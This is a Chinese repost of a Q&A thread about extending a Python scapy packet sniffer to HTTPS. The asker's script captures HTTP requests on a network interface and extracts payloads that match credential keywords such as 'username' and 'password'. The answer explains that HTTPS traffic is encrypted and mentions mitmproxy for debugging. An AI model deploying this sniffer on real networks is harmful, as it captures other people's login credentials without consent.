首页 > 解决方案 > 如何在此处添加对嗅探 HTTPS 数据包的支持?

问题描述

到目前为止,我已经能够使用它来过滤和查看 HTTP 请求和数据包。如何包含额外的支持以类似地查看 HTTPS 数据包?

#!/usr/bin/env python

import scapy.all as scapy
from scapy.layers import http


def sniff(interface):
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def get_url(packet):
    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path


def get_login_info(packet):
    if packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        keywords = ['username', 'uname', 'user', 'id', 'key', 'email', 'email-id', 'login', 'password', 'pass', "passwd"]

        for keyword in keywords:
            if keyword in load:
                return load


def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >>> " + url)

        login_info = get_login_info(packet)
        if login_info:
            print("\n\nEntered login credentials >>> " + login_info + "\n\n")


sniff("eth0")

标签: pythonsecuritynetwork-programmingscapypacket-sniffers

解决方案


简短的回答:你不能。

您可能需要更多地研究 HTTPS。由于所有内容都已加密,因此如果没有私钥,您将看不到任何内容。请参阅 https://security.stackexchange.com/a/83039

看看mitmproxy您是否出于调试目的这样做,或者this他们是否在您已泄露的密钥上使用 RSA。(我怀疑你正在做任何这些)


推荐阅读